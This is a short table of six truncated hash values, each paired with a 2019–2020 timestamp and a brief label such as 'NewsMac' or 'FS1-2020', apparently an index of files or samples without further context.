69df8e4bdc3fd69.. | 2019-09-16 10:00:45 | NewsMac |
cf32479ed30ae95.. | 2019-12-30 9:45:44 | 1401 |
64ea1f1e0352f3d.. | 2020-01-12 10:57:50 | FS1-2020 |
6e60f5c65299ee7.. | 2020-01-12 10:57:50 | 1801 |
b08b8fddb9dd940.. | 2020-01-12 10:57:50 | FS1-2020 |
04fa6aaea5e3a26.. | 2020-01-12 10:57:50 | up |